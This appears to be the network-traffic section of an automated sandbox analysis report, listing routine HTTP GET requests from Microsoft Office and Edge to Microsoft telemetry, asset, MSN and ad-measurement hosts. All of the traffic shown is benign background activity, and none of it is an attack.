Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.55Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732387979691&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c8e70ccf516a4388882ced3cf769c1c7&activityId=c8e70ccf516a4388882ced3cf769c1c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /b?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=18FD64FFA0C2612823B171BFA1EB6042&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=84fe2d69693d4279a76d0c0737f48621 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msP5k.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=105c4afc5538876aeaf51581732387982; XID=105c4afc5538876aeaf51581732387982
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=18FD64FFA0C2612823B171BFA1EB6042&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=3aa839c77ffe46e883e238d506b6cc64 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732387979691&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=c8e70ccf516a4388882ced3cf769c1c7&activityId=c8e70ccf516a4388882ced3cf769c1c7&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F56B4ABDBCC24904B1C2DED66ABF5D9F&MUID=18FD64FFA0C2612823B171BFA1EB6042 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=18FD64FFA0C2612823B171BFA1EB6042; _EDGE_S=F=1&SID=10BE97B608F365AA179A82F609D16463; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
